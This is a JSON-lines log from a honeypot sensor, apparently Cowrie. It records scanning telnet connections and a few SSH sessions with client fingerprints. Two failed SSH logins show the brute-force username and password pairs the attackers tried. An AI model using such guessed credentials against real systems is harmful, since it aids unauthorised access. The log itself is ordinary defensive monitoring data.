{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47664,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8f16f9c4a2e","protocol":"telnet","message":"New connection: 161.132.53.68:47664 (159.203.135.109:23) [session: e8f16f9c4a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:13.819190Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47666,"dst_ip":"159.203.135.109","dst_port":23,"session":"e746f8335dba","protocol":"telnet","message":"New connection: 161.132.53.68:47666 (159.203.135.109:23) [session: e746f8335dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:14.310555Z"}
{"eventid":"cowrie.session.closed","duration":30.508240938186646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:15.352722Z","src_ip":"161.132.53.68","session":"b21b976c8108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47672,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ab927b875ad","protocol":"telnet","message":"New connection: 161.132.53.68:47672 (159.203.135.109:23) [session: 5ab927b875ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:15.626353Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37688,"dst_ip":"159.203.135.109","dst_port":23,"session":"621239b2f7a0","protocol":"telnet","message":"New connection: 192.119.108.58:37688 (159.203.135.109:23) [session: 621239b2f7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:16.263974Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37728,"dst_ip":"159.203.135.109","dst_port":23,"session":"23b64aef53bf","protocol":"telnet","message":"New connection: 192.119.108.58:37728 (159.203.135.109:23) [session: 23b64aef53bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:16.340837Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37974,"dst_ip":"159.203.135.109","dst_port":23,"session":"cad974ee0e99","protocol":"telnet","message":"New connection: 192.119.108.58:37974 (159.203.135.109:23) [session: cad974ee0e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:16.748865Z"}
{"eventid":"cowrie.session.closed","duration":31.01541566848755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:17.163003Z","src_ip":"192.119.108.58","session":"d4abcf75ae91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49844,"dst_ip":"159.203.135.109","dst_port":23,"session":"15bf2dd365af","protocol":"telnet","message":"New connection: 161.132.53.68:49844 (159.203.135.109:23) [session: 15bf2dd365af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:17.489763Z"}
{"eventid":"cowrie.session.closed","duration":30.35126566886902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:19.138766Z","src_ip":"192.119.108.58","session":"c277a870fe9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39776,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6f83e20ef0","protocol":"telnet","message":"New connection: 192.119.108.58:39776 (159.203.135.109:23) [session: 6e6f83e20ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:19.452806Z"}
{"eventid":"cowrie.session.closed","duration":37.05507969856262,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:19.620526Z","src_ip":"161.132.53.68","session":"60dabe7d2c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40412,"dst_ip":"159.203.135.109","dst_port":23,"session":"24ed2cacb196","protocol":"telnet","message":"New connection: 192.119.108.58:40412 (159.203.135.109:23) [session: 24ed2cacb196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:20.897846Z"}
{"eventid":"cowrie.session.closed","duration":30.222697734832764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:21.162989Z","src_ip":"161.132.53.68","session":"3123146d63de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28023052215576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:23.344886Z","src_ip":"192.119.108.58","session":"43a0a9433b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8662793636322,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:23.449374Z","src_ip":"161.132.53.68","session":"d635f1ab374b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23461651802063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:24.051108Z","src_ip":"192.119.108.58","session":"0bbfae8f5f55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25603365898132,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:24.625727Z","src_ip":"161.132.53.68","session":"8987295055ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49854,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e7eb5df7a3","protocol":"telnet","message":"New connection: 161.132.53.68:49854 (159.203.135.109:23) [session: 72e7eb5df7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:24.968323Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42488,"dst_ip":"159.203.135.109","dst_port":23,"session":"1289977cc7f4","protocol":"telnet","message":"New connection: 192.119.108.58:42488 (159.203.135.109:23) [session: 1289977cc7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:25.833705Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41360,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfbe7d4c9ee","protocol":"telnet","message":"New connection: 192.119.108.58:41360 (159.203.135.109:23) [session: 9bfbe7d4c9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:26.071356Z"}
{"eventid":"cowrie.session.closed","duration":31.01329278945923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:26.279302Z","src_ip":"161.132.53.68","session":"cb37a10c716d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42356,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a0a76ae001","protocol":"telnet","message":"New connection: 192.119.108.58:42356 (159.203.135.109:23) [session: 35a0a76ae001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:26.443083Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43032,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d2290d7807","protocol":"telnet","message":"New connection: 161.132.53.68:43032 (159.203.135.109:23) [session: 84d2290d7807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:26.816112Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42500,"dst_ip":"159.203.135.109","dst_port":23,"session":"baec76d874c6","protocol":"telnet","message":"New connection: 192.119.108.58:42500 (159.203.135.109:23) [session: baec76d874c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:26.859455Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":45254,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc7f37beecc9","protocol":"ssh","message":"New connection: 220.119.37.141:45254 (10.17.0.5:22) [session: fc7f37beecc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.204535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.208799Z","src_ip":"220.119.37.141","session":"fc7f37beecc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43038,"dst_ip":"159.203.135.109","dst_port":23,"session":"1939d2f1e7d6","protocol":"telnet","message":"New connection: 161.132.53.68:43038 (159.203.135.109:23) [session: 1939d2f1e7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.278085Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.403181Z","src_ip":"220.119.37.141","session":"fc7f37beecc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43048,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d19ad608952","protocol":"telnet","message":"New connection: 161.132.53.68:43048 (159.203.135.109:23) [session: 2d19ad608952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.415020Z"}
{"eventid":"cowrie.session.closed","duration":31.484208345413208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.525443Z","src_ip":"192.119.108.58","session":"9fab53ceb01c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42401,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8191fa9387c","protocol":"telnet","message":"New connection: 192.119.108.58:42401 (159.203.135.109:23) [session: d8191fa9387c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.591914Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42400,"dst_ip":"159.203.135.109","dst_port":23,"session":"edcb7f217b4a","protocol":"telnet","message":"New connection: 192.119.108.58:42400 (159.203.135.109:23) [session: edcb7f217b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:28.595632Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43358,"dst_ip":"159.203.135.109","dst_port":23,"session":"d084474e5dd5","protocol":"telnet","message":"New connection: 192.119.108.58:43358 (159.203.135.109:23) [session: d084474e5dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:29.131514Z"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo@2024","message":"login attempt [demo/demo@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:29.204085Z","src_ip":"220.119.37.141","session":"fc7f37beecc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.469179153442383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:29.410983Z","src_ip":"161.132.53.68","session":"323708d1edc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43058,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee0ee6e038e2","protocol":"telnet","message":"New connection: 161.132.53.68:43058 (159.203.135.109:23) [session: ee0ee6e038e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:29.422713Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43074,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1112e9c706","protocol":"telnet","message":"New connection: 161.132.53.68:43074 (159.203.135.109:23) [session: 5d1112e9c706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:29.604950Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":49614,"dst_ip":"159.203.135.109","dst_port":22,"session":"6feb3e54ca0a","protocol":"ssh","message":"New connection: 223.17.5.126:49614 (159.203.135.109:22) [session: 6feb3e54ca0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:29.849128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:29.856354Z","src_ip":"223.17.5.126","session":"6feb3e54ca0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:30.074974Z","src_ip":"223.17.5.126","session":"6feb3e54ca0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.489218711853027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:30.163588Z","src_ip":"161.132.53.68","session":"0bfc63939b93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:30.398530Z","src_ip":"220.119.37.141","session":"fc7f37beecc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44320,"dst_ip":"159.203.135.109","dst_port":23,"session":"640f8d201cbb","protocol":"telnet","message":"New connection: 192.119.108.58:44320 (159.203.135.109:23) [session: 640f8d201cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:30.542724Z"}
{"eventid":"cowrie.session.closed","duration":34.02144694328308,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:30.845948Z","src_ip":"161.132.53.68","session":"67bc2aa8cdb5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456!","message":"login attempt [root/Qq123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:30.981127Z","src_ip":"223.17.5.126","session":"6feb3e54ca0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.037928581237793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:31.254943Z","src_ip":"192.119.108.58","session":"ffbb845ef24f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96195721626282,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:31.285413Z","src_ip":"161.132.53.68","session":"4829eda5236c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.558765411376953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:31.433525Z","src_ip":"161.132.53.68","session":"c8a2f79aa2ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.625070333480835,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:31.622085Z","src_ip":"161.132.53.68","session":"1c14bfea2264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43516,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e0b85b73862","protocol":"telnet","message":"New connection: 192.119.108.58:43516 (159.203.135.109:23) [session: 6e0b85b73862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:31.667397Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:32.204832Z","src_ip":"223.17.5.126","session":"6feb3e54ca0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.03823781013489,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:32.969511Z","src_ip":"161.132.53.68","session":"8986e5c46166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43082,"dst_ip":"159.203.135.109","dst_port":23,"session":"781f43e4f793","protocol":"telnet","message":"New connection: 161.132.53.68:43082 (159.203.135.109:23) [session: 781f43e4f793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:33.297637Z"}
{"eventid":"cowrie.session.closed","duration":32.50748419761658,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:34.996794Z","src_ip":"161.132.53.68","session":"f8401c6c28ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331157207489014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:37.499622Z","src_ip":"161.132.53.68","session":"224b13c7490b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59344,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ecc7ed96a67","protocol":"telnet","message":"New connection: 161.132.53.68:59344 (159.203.135.109:23) [session: 8ecc7ed96a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:37.641534Z"}
{"eventid":"cowrie.session.closed","duration":31.418235778808594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:37.935405Z","src_ip":"161.132.53.68","session":"ada6baee9ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28341770172119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:38.383493Z","src_ip":"161.132.53.68","session":"27b486b8f3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191812992095947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:38.832867Z","src_ip":"192.119.108.58","session":"9f5ae1d9de37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129616498947144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:38.942348Z","src_ip":"161.132.53.68","session":"d905d4787d97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.12450671195984,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:39.736183Z","src_ip":"161.132.53.68","session":"3fa615da6551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48514,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3112509955a","protocol":"telnet","message":"New connection: 192.119.108.58:48514 (159.203.135.109:23) [session: d3112509955a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:40.024239Z"}
{"eventid":"cowrie.session.closed","duration":30.869468688964844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:40.121554Z","src_ip":"192.119.108.58","session":"83ed5edc0693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173558473587036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:40.826570Z","src_ip":"192.119.108.58","session":"e23cb678df70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59358,"dst_ip":"159.203.135.109","dst_port":23,"session":"65463bdef0d1","protocol":"telnet","message":"New connection: 161.132.53.68:59358 (159.203.135.109:23) [session: 65463bdef0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:40.886515Z"}
{"eventid":"cowrie.session.closed","duration":31.12757921218872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:41.204810Z","src_ip":"192.119.108.58","session":"6de37289ff07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.795209884643555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:43.006155Z","src_ip":"161.132.53.68","session":"9931891c592e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":38532,"dst_ip":"10.17.0.5","dst_port":22,"session":"889feb8c3d7d","protocol":"ssh","message":"New connection: 114.35.59.237:38532 (10.17.0.5:22) [session: 889feb8c3d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:43.677051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:43.682003Z","src_ip":"114.35.59.237","session":"889feb8c3d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.226290702819824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:43.685082Z","src_ip":"161.132.53.68","session":"1c3f9e4e2234","protocol":"telnet"}
